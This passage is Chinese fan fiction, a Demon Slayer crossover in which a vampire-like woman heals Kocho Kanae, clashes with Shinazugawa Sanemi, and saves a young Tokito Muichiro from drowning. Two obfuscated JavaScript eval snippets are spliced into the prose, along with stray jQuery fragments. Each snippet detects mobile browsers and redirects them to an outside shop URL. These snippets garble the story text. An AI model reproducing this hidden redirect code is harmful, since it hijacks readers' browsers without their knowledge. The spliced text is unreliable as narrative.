玖兰绫夏走近几步,看清了她的脸。 蝴蝶香奈惠。 鬼杀队的花柱,蝶屋的管理人,不死川实弥的记忆里有她。 他那种不管不顾的作战风格,经常把自己弄得一身伤,每次都是去蝶屋治疗的。虽然他脾气暴躁,但对这位温柔的花柱还算客气。 说起来,这个镇子距离蝶屋不远,应该算是花柱的辖区范围。 她昨晚是在此处遇到厉害的鬼了吗? 玖兰绫夏蹲下,伸手探了探她的颈动脉。 她的伤集中在内脏,已经撑不了几分钟了。 空气中除了血腥味,还残留着寒意。这处的温度明显比其他地方低,像是有什么东西在这里留下了痕迹。 玖兰绫夏把她从地上扶起来,让她靠在自己的臂弯里。 蝴蝶香奈惠撑开双眼,嘴唇微启,好像有话要说。 但是她看到了抱着她的陌生女性,对方的双眼是红色的。 香奈惠的喉头哽住。 这是鬼吗? 但阳光已经照下来了,现在是白天,鬼怎么会在白天出现呢? 眼皮越来越重,香奈惠觉得自己的脑子有点转不过来了。 她是医师,所以她知道自己快要死了。 不管这位女性是不是鬼,对她来说都不重要了。 唯一的遗憾是……临死之前没能再见小忍一面,还有好多话想对她说…… 抱着她的玖兰绫夏忽然俯下身。 香奈惠的思绪停滞,她睁大眼睛,看着那张脸不断在眼前放大,越来越近,越来越近—— 嘴角被轻轻吻了一下。 紧接着,疼痛消失了。 皮肉在生长,伤口在愈合,力气一点一点回到身体里。 香奈惠撑着地面,坐起来。她撩起袖子,手臂上被扇面切出的伤口消失了,一点痕迹都没留下。 “这是……怎么回事?我的伤都好了?这是什么能力?”她惊讶地看着面前的女性,“你是谁?” “我叫玖兰绫夏,我用的是一种特殊的治愈的能力。”对方回答得很简单。 脑子里有太多问题在转,想起刚才那个轻吻,香奈惠脸上微微发热。 她深吸一口气,让自己冷静下来,然后小心翼翼地确认:“绫夏小姐,你不是鬼吧?” 玖兰绫夏微笑着说:“我是血族,一种以血液为生的生物。但我不吃人,而且还能晒太阳,和鬼完全不一样呢。” 香奈惠攥住她的手,满脸感激地说:“谢谢你救了我的命。” 玖兰绫夏有点意外,她竟然这么快就接受了新物种的存在吗……? * 蝴蝶忍喘着气,一手握着日轮刀,一手撑着墙,停在巷口。 两个小时前,她收到鎹鸦的传讯,说姐姐在这边遇到了很强的鬼,让她立刻支援。 她一路疾行,用最快的速度赶过来。 可是到了这里,战斗已经结束了。 她没有看到任何人或鬼。 巷子里到处都是血迹,还有打斗留下的痕迹。 蝴蝶忍的瞳孔控制不住地一阵阵收缩。 难道……姐姐…… 被鬼…… 她不敢往下想,只觉得浑身发寒。 然后她听到了一阵说笑声,是从巷子另一头传来的。 蝴蝶忍屏住呼吸,立刻辨认出那是姐姐的声音,朝那个方向跑去。 街角有一家早餐铺子,门口的条凳上坐着两个人。 香奈惠手里端着味噌汤,正笑得开心,旁边坐着一个蝴蝶忍没见过的金发女人。 “……所以我就跟她说,鬼也是人变的嘛。他们在变成鬼之前,也有家人,有朋友,有自己的生活。如果有办法让他们不再吃人,能保留理智,大家是不是就可以和平共处了?结果她皱着一张小脸,说我想得太简单了。” 香奈惠笑着摇头:“其实我知道很难,但我还是想试试。” 玖兰绫夏:“如果不去尝试,那结果永远是不行。如果尝试了,说不定能看到和平的希望。” “绫夏小姐也这么想,我真是太开心了。”香奈惠一脸遇到知音的表情。 蝴蝶忍在原地驻足,姐姐的状态看起来很好。胳膊腿都在,脸色红润,情绪良好。只是那件羽织上面沾满了血迹,被叠起放在旁边。 香奈惠这时也注意到了她,连忙挥手:“小忍,你来啦。” 蝴蝶忍走过去:“姐姐,你怎么样?听说你遇到了很强的鬼……” “我很好哦。”香奈惠笑着指了指旁边的人,“是绫夏小姐救了我。” 蝴蝶忍向玖兰绫夏深深地鞠了一躬:“多谢绫夏小姐救了我姐姐。” 玖兰绫夏:“不客气。” 香奈惠笑眯眯地在旁边补充:“绫夏小姐还非常赞同我的理想呢,我好久没有和朋友聊得这么开心了。” 蝴蝶忍点点头:“啊,是吗。” 她还没从刚刚的悲伤中缓过来,来的时候她满脑子都是最坏的画面,一路上拼命跑,生怕晚一步就再也见不到姐姐了。 结果到了这里,姐姐安然无恙,还在和新认识的朋友一起吃早餐说笑。 香奈惠看着妹妹略有些迟钝的表情,伸手拉住她的袖子:“小忍,坐下一起吃吧?老板,麻烦再来一份!” 蝴蝶忍被拉着坐在条凳上,手里塞了一碗热汤。 她捧着碗,看着旁边两个女人继续聊那些“人鬼和平共处”的话题。 热流淌进胃里,慢慢驱散了心口的寒意。 没事就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460330|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐没事就好。 …… 吃完早饭,天色已经大亮,街道上的人渐渐多起来。 玖兰绫夏也准备继续她的行程了。 已经把她引为知己的蝴蝶香奈惠,不舍地问:“绫夏小姐要去哪里?” 玖兰绫夏:“在神奈川附近走走。” 香奈惠邀请她去蝶屋作客,她婉言谢绝,说以后有机会再去蝶屋找她玩。 两人就此分别。 回蝶屋的路上,蝴蝶忍忍不住问:“姐姐,昨晚到底怎么回事?你的鎹鸦着急忙慌地回来求援,我还以为你……” 香奈惠转过头:“我遇到的那只鬼确实很强,他眼睛里的数字是上弦贰。他的血鬼术很特别,会让人呼吸艰难,身体僵硬,我完全不是对手。” “只差一点,我就死了。因为天快亮了,所以我才没有被他吃掉。” 蝴蝶忍也是一阵后怕:“那你现在的伤势怎么样了?” “这就是我要说的最重要的事情了,路过的绫夏小姐,用特殊的能力治愈了我身上的伤。”香奈惠看着妹妹,郑重地说,“绫夏小姐她,其实不是人类。” 蝴蝶忍:“?!” 香奈惠:“但她也不是鬼,她是一种我们从未见过的生物,从海外来的血族,拥有很厉害的能力!” “血族……”蝴蝶忍一边消化着这个信息,一边附和,“好厉害。” 香奈惠:“虽然是第一次听说这个种族,但从绫夏小姐身上就能看出来,血族一定都是像她这样温柔又热爱和平的存在吧?如果有机会的话,希望能和更多的血族好好相处呢。” 半路上,两人迎面遇上一队隐成员。 “花柱大人!忍小姐!你们没事真是太好了!” “我没事。”香奈惠笑着说,“让你们担心了。” 隐队员们也是松了一口气,听到姐妹俩谈论的“绫夏小姐”,其中一人询问:“香奈惠大人,你们聊的是不是一位叫玖兰绫夏的血族女性?” 香奈惠惊讶道:“对,但是,你竟然认识吗?” 她是不是太孤陋寡闻了?还以为血族是个从未出现过的存在,可现在看来,好像已经有不少人都知道了? 隐队员:“那是主公大人正在寻找暗中的人,请香奈惠大人告知她的行踪。” 香奈惠:“我不知道她去哪里了哦。” 隐队员露出遗憾的眼神。 “主公大人找绫夏小姐有什么事吗?”她问。 隐队员摇头:“我也不清楚,除了主公大人,风柱大人也对她的消息非常关注,基本上每隔几日就会来问查探的情况。” 香奈惠若有所思:“诶,这样吗。” 回到蝶屋没多久,听到消息的不死川实弥就找上门来。 因为他提到玖兰绫夏的时候满脸的杀气,蝴蝶香奈惠很快就觉出他的态度不对劲。 两人就“绫夏小姐到底是敌是友”展开了争论。 不死川实弥:“那混蛋咬着我的脖子吸血!这和吃人鬼有什么不同?!” 香奈惠先是说:“不死川先生,用‘混蛋’一词形容女性很没礼貌。” 然后语气笃定地分析:“绫夏小姐是个温柔善良的女孩子,肯定是不死川先生对她做了什么过分的事情,才会让她气到咬你的。” 即便在争执的时候,香奈惠也是平常那副带着微笑、语气温和的样子。 衬托之下,就显得不死川实弥好像才是那个无理取闹的人了。 本来就因为想起那天晚上的事情憋了一肚子气,现在又看到花柱不由分说地维护那个家伙,不死川实弥更是气得牙痒痒。 他紧紧捏着腰间日轮刀的刀柄。 现在很想找人打一架。 14.溺水 眼看风柱脖子上的青筋都爆出来了,旁边一直默默看着的蝴蝶忍想要上前劝解:“那个,不死川先生……” 话没说完,她的手腕就被一把抓住。 不死川实弥把她拉到近前:“你也见到那个家伙了吧?你来说!” 对上那双杀气腾腾的眼睛,蝴蝶忍镇定开口:“绫夏小姐,不像坏人。” 不死川实弥的表情像是被人又打了一拳。 “不——像——坏——人?” 他“呵”了一声,冷笑起来:“你们还是检查检查自己的脑子吧,你们根本就是被她迷惑了!” 香奈惠:“可是我觉得,有偏见的是不死川先生才对。” 不死川实弥深吸一口气,觉得自己现在急需砍点什么,不然真的要气炸了。 傍晚时分,香奈惠被主公大人召往总部。 她接连遇到十二鬼月和血族的事情,产屋敷耀哉已经知晓了。 香奈惠又把事情细说了一遍。 “……主公大人,绫夏小姐是个很温柔、很善良的血族。她说的那些话,让我觉得也许我的理想,并不是完全不可能实现的。” 产屋敷耀哉听完微笑着说:“香奈惠小姐能遇到志同道合的朋友,我很为你高兴。有机会的话,我也想见见这位从海外来的血族小姐。” 香奈惠不假思索地说:“其实我在和绫夏小姐分别的时候听她说起过,她打算前往神奈川,主公大人可派人往那个方向寻找。” …… 玖兰绫夏的乌鸦最近这段时间都守在鬼杀队总部的树林里。 自从上次被主公的鎹鸦盘问之后,她就没有待在里面探听具体的消息了,只是会留意这些进出总部的人。 关于鬼杀队的主公还有风柱一直在暗中查探她的事,玖兰绫夏自然是清楚的。 只是她现在还没有一定要和鬼杀队主公接触的必要。 至于不死川实弥,每次他去询问隐队员都没有得到新消息,他气得攥着人的领子,咬牙骂人“废物”,但是又别无办法。 那副样子看得玖兰绫夏的心情莫名愉悦起来。 按照正常脚程,她上午出发,到傍晚也就差不多进入神奈川范围了。 不过她并不着急,午后太阳大的时候,她在树林里拉了吊床休息。所以,她还在东京和神奈川交界的这座山里徘徊。 清晨的山林里,雾气还没散尽。 玖兰绫夏收起吊床,叠好塞进皮箱。 她有点饿了。 在山里转了一会儿,她找到一只正在溪边饮水的野鹿。 捡起石头,把野鹿击晕。填饱肚子之后,把放干了血的野鹿就地掩埋。 溪水清澈见底,玖兰绫夏蹲在岸边,把手上的血污清洗干净。 下游隐约传来水花溅起的声音。 她顺着动静望过去,下游的水潭边站着一个长头发的少年。 看起来身形瘦削,还没长开,细胳膊细腿的。 他穿着浅灰色的粗布衣服,布料洗得有些发白,袖口挽到手肘,裤腿也卷着,光脚踩在石头上。 他手里握着一根削尖的树杈,弯着腰,专注地盯着水面。 鱼从水底游过,他手里的树杈猛地扎下去,但是扎空了。 少年懊恼地“啊”了一声,揉了揉眼睛,重新摆好姿势。 又一条鱼游过来。 又扎空了。 玖兰绫夏坐在上游的石头上,托着下巴,饶有兴致地看着这一幕。 少年那张脸还带着稚气,但五官已经能看出很好的底子。 眉眼清秀,眼睛很大,像是两汪泉水。嘴唇抿着,此刻带着一股不服输的倔强。 他抓鱼的动作虽然笨拙,但下盘很稳,腰腹有劲,身体协调性也很好,手臂挥出去的时候带着流畅自然的力道。 看起来很有武道方面的天赋。 从水面看到的鱼,和鱼实际所在的位置是有偏差的,少年显然毫无经验,树杈每次都擦着鱼身而过。 不知道第几次扑空之后,少年直起腰,长长地叹了口气。 他把树杈换到左手,甩了甩右手腕,重新弯下腰。 玖兰绫夏忽然看到他踩着的石头松动,少年脚下一空,整个人往后仰倒,一头栽进了水里。 水面翻腾了几下,迟迟不见他浮起来。 玖兰绫夏透过水面,看到那个少年在水底挣扎。四散的长发缠在了水草上,他双手抓着头发,但怎么都扯不断。 脚下踩不到底,头发拽着他往下沉,少年挣扎的幅度越来越小。 最后咕噜噜的气泡从水底冒上来。 …… 水好冷。 头好重。 时透无一郎觉得自己大概是要死了。 肺里灌满了水,火辣辣地疼,每一次呛咳都让更多水涌进来。 他想挣扎,身体却越动越往下沉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465893|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因为哥哥生病了,从山下请来的医生说,哥哥是风邪入体导致的急性发热。医生开了解热散,让多补充营养。他这才想着抓条鱼,给哥哥煮鱼汤喝。 他没有抓过鱼,只是见哥哥做过,所以也想学着去做。 这里的水明明不深,才刚到他肩膀而已。 他怎么就……起不来了呢? 脑袋越来越重。 要是让哥哥知道这件事,肯定又要骂他没用了吧。 骂就骂吧,反正哥哥总是骂他。 只是希望哥哥找到他的时候,他还没有被水里的鱼吃掉…… 快要失去意识的时候,眼前忽然出现一片灿烂的金色。 那是…… 时透无一郎惊讶地睁大了眼睛。 水里多了一个人,金色的头发,金色的眼睛,像阳光穿透云层洒下来的光。 好漂亮。 她是金色的鲤鱼变成的精灵吗? 他迷迷糊糊地想。 …… 玖兰绫夏削断水草,一手揽过少年的腰,把他从水里抱了起来。 新鲜的空气涌进肺里,时透无一郎剧烈咳嗽起来。 呛出来的水顺着嘴角流下。 他整个人靠在玖兰绫夏怀里,浑身发抖,不知道是冷还是后怕。 被放在岸边的一块平坦石头上,时透无一郎趴在上面大口大口地喘气,好一会儿才缓过来。 他浑身湿透,衣服贴在身上更显瘦弱。长发乱糟糟地黏在脸上、脖子上,水珠顺着发梢往下滴。 他额角磕破了皮,手臂上也有几道红痕,大概是刚才挣扎时撞到了石头。 看起来实在很狼狈。 玖兰绫夏蹲在他面前问:“你还好吗?” 时透无一郎回过神来,抬起头,又圆又亮的眼睛浸了水,湿漉漉地看着她:“谢、谢谢你救了我。” 玖兰绫夏:“不客气。在这种地方一个人抓鱼是很危险的行为,以后不要再做这样的事了。” 他点点头,抱歉地说:“对不起,连累你弄湿了衣服。” 玖兰绫夏低头看了看自己,裙子湿透了,贴在身上不太舒服。 时透无一郎指了指山上的方向:“那个……我家就在附近。如果小姐不嫌弃的话,可以跟我回去换件干衣服,不然会受凉生病的。” “我哥哥就是因为受了风,发烧了,现在还躺着起不来。所以湿着衣服很容易生病的……”